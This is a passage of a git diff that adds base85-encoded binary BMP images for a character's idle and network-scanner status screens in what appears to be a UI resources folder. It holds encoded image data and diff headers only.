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 literal 0 HcmV?d00001 diff --git a/resources/default_config/characters/MEDUSA/status/IDLE/IDLE9.bmp b/resources/default_config/characters/MEDUSA/status/IDLE/IDLE9.bmp new file mode 100644 index 0000000000000000000000000000000000000000..80ea3341f52a48e5fffa9f89136ca31f7ce8d357 GIT binary patch literal 18462 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 WYv`}Z_aD9fwQ>7*uk}Amum1}QUMaT# literal 0 HcmV?d00001 diff --git a/resources/default_config/characters/MEDUSA/status/NetworkScanner/NetworkScanner.bmp b/resources/default_config/characters/MEDUSA/status/NetworkScanner/NetworkScanner.bmp new file mode 100644 index 0000000000000000000000000000000000000000..45a466f4ef75712bce0ecd645888669229afdb12 GIT binary patch literal 2406 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 